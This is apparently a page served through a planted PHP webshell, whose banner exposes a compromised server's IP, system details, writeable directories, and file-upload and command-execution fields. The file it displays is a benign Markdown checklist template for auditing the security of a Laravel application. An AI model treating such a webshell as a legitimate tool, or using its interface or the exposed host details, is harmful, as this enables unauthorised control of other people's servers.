403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.21
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/client-portal-laravel/backup/docs/audit_templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/client-portal-laravel/backup/docs/audit_templates/audit_security.md
# Web Application Security Audit (Laravel)

This document provides a structured checklist and evaluation framework for performing a **security audit of a Laravel-based web application**. It is suitable for internal reviews, client deliverables, and pre-production security validation.

---

## Purpose

The Security Audit is intended to:

- Identify security risks and misconfigurations
- Validate adherence to Laravel and web security best practices
- Assess readiness for production deployment
- Provide actionable remediation guidance

---

## Audit Scope

Define the scope before starting the audit.

- **Application Name:**
- **Environment Audited:** (Local / Staging / Production)
- **Laravel Version:**
- **PHP Version:**
- **Audit Date:**
- **Auditor:**

---

## Risk Rating Scale

| Rating | Description | Score |
|------|------------|-------|
| **Low** | Minimal risk, best-practice improvement | 1 |
| **Medium** | Moderate risk, should be addressed | 2 |
| **High** | Serious risk, requires prompt attention | 3 |
| **Critical** | Active exploit or data exposure risk | 4 |

---

## 1. Authentication & Authorization

> **Applies to:** SaaS apps, client portals, internal admin panels



| Check | Status | Risk | Notes |
|------|-------|------|------|
| Authentication uses Laravel guards correctly | ⬜ |  |  |
| Passwords hashed using bcrypt/argon | ⬜ |  |  |
| Password reset tokens properly configured | ⬜ |  |  |
| Email verification enabled where required | ⬜ |  |  |
| Multi-factor authentication supported (if applicable) | ⬜ |  |  |
| Authorization enforced via policies/gates | ⬜ |  |  |
| No authorization logic in controllers/views | ⬜ |  |  |

---

## 2. Session & Cookie Security

| Check | Status | Risk | Notes |
|------|-------|------|------|
| Secure session driver configured | ⬜ |  |  |
| Session cookies set to `HttpOnly` | ⬜ |  |  |
| Session cookies set to `Secure` in production | ⬜ |  |  |
| SameSite policy correctly configured | ⬜ |  |  |
| Session timeout reasonable | ⬜ |  |  |
| Session fixation protections enabled | ⬜ |  |  |

---

## 3. Input Validation & Output Escaping

| Check | Status | Risk | Notes |
|------|-------|------|------|
| All request input validated via Form Requests | ⬜ |  |  |
| No reliance on client-side validation alone | ⬜ |  |  |
| Blade templates escape output by default | ⬜ |  |  |
| Raw output (`{!! !!}`) justified and reviewed | ⬜ |  |  |
| Protection against mass assignment issues | ⬜ |  |  |

---

## 4. CSRF, XSS & Injection Protection

| Check | Status | Risk | Notes |
|------|-------|------|------|
| CSRF protection enabled on all stateful routes | ⬜ |  |  |
| API routes correctly scoped (stateless vs stateful) | ⬜ |  |  |
| No dynamic SQL without bindings | ⬜ |  |  |
| Eloquent used instead of raw queries where possible | ⬜ |  |  |
| User input never directly rendered as HTML/JS | ⬜ |  |  |

---

## 5. API & Rate Limiting

| Check | Status | Risk | Notes |
|------|-------|------|------|
| API routes protected by authentication | ⬜ |  |  |
| Rate limiting enabled on public endpoints | ⬜ |  |  |
| Throttle limits appropriate for use case | ⬜ |  |  |
| API error responses do not leak sensitive data | ⬜ |  |  |

---

## 6. File Uploads & Storage

| Check | Status | Risk | Notes |
|------|-------|------|------|
| File uploads validated by type and size | ⬜ |  |  |
| Uploaded files stored outside public directory | ⬜ |  |  |
| User-uploaded files not executable | ⬜ |  |  |
| Signed URLs used for private downloads | ⬜ |  |  |

---

## 7. Environment & Configuration Security

| Check | Status | Risk | Notes |
|------|-------|------|------|
| `.env` file not accessible publicly | ⬜ |  |  |
| `APP_DEBUG=false` in production | ⬜ |  |  |
| `APP_KEY` set and rotated appropriately | ⬜ |  |  |
| Secrets not committed to repository | ⬜ |  |  |
| Correct filesystem and directory permissions | ⬜ |  |  |

---

## 8. Dependencies & Supply Chain

| Check | Status | Risk | Notes |
|------|-------|------|------|
| Composer dependencies up to date | ⬜ |  |  |
| Known vulnerabilities reviewed (e.g., `composer audit`) | ⬜ |  |  |
| No abandoned or unmaintained packages | ⬜ |  |  |
| Frontend dependencies audited | ⬜ |  |  |

---

## 9. Logging, Monitoring & Error Handling

| Check | Status | Risk | Notes |
|------|-------|------|------|
| Errors logged securely (no sensitive data) | ⬜ |  |  |
| Logs protected from public access | ⬜ |  |  |
| Centralized monitoring or alerts configured | ⬜ |  |  |
| Exception messages sanitized in production | ⬜ |  |  |

---

## 10. Infrastructure & Deployment (High-Level)

| Check | Status | Risk | Notes |
|------|-------|------|------|
| HTTPS enforced everywhere | ⬜ |  |  |
| HSTS enabled | ⬜ |  |  |
| Firewall rules restrict unnecessary access | ⬜ |  |  |
| CI/CD pipeline secrets protected | ⬜ |  |  |
| Zero-downtime deploy strategy in place | ⬜ |  |  |
| Production server access restricted | ⬜ |  |  |

---

## 11. SaaS & Client Portal–Specific Checks

| Check | Status | Risk | Notes |
|------|-------|------|------|
| Tenant isolation enforced at DB and app layers | ⬜ |  |  |
| No cross-tenant data exposure possible | ⬜ |  |  |
| Role-based access clearly defined | ⬜ |  |  |
| Client users restricted from admin routes | ⬜ |  |  |
| Subscription / plan limits enforced server-side | ⬜ |  |  |

---

## Security Findings Summary

| Finding | Severity | Score | Description | Recommendation | Status |
|--------|----------|-------|-------------|----------------|--------|
|  |  |  |  |  |  |

---

## Security Scoring Summary

| Severity | Count | Weighted Score |
|---------|-------|----------------|
| Critical |  |  | 
| High |  |  | 
| Medium |  |  | 
| Low |  |  | 

**Total Risk Score:**

---

| Finding | Severity | Description | Recommendation |
|--------|----------|-------------|----------------|
|  |  |  |  |

---

## Overall Security Assessment

- **Overall Risk Level:** (Low / Medium / High / Critical)
- **Production Readiness:** (Not Ready / Conditional / Ready)

### Assessment Notes

Summarize the security posture of the application in plain language suitable for non-technical stakeholders.

---

## Client-Safe Executive Summary

> This section is safe to share directly with clients or stakeholders.

**Summary:**

- Total findings:
- Critical issues:
- High-risk issues:
- Recommended remediation timeline:

**Client Impact Statement:**

Describe how the current security posture affects client data, reliability, and trust.

---

## Recommended Next Actions

- [ ] Address all Critical findings immediately
- [ ] Schedule remediation for High-risk findings
- [ ] Validate fixes with regression testing
- [ ] Re-run security audit after fixes
- [ ] Consider third-party penetration testing

---

## Audit Type

- **Pre-Launch Security Audit**: ⬜
- **Post-Launch / Ongoing Audit**: ⬜

---

## Example Findings (Reference)

| Finding | Severity | Description | Recommendation |
|--------|----------|-------------|----------------|
| Missing rate limiting on login endpoint | High | Brute-force attacks possible | Add Laravel throttle middleware |
| APP_DEBUG enabled in production | Critical | Sensitive stack traces exposed | Disable debug and clear config cache |
| File uploads stored in public directory | Medium | Risk of malicious file access | Move uploads to private storage |

---

*This document is intended to evolve alongside the application and should be revisited after major feature releases, dependency upgrades, or infrastructure changes.*


Youez - 2016 - github.com/yon3zu
LinuXploit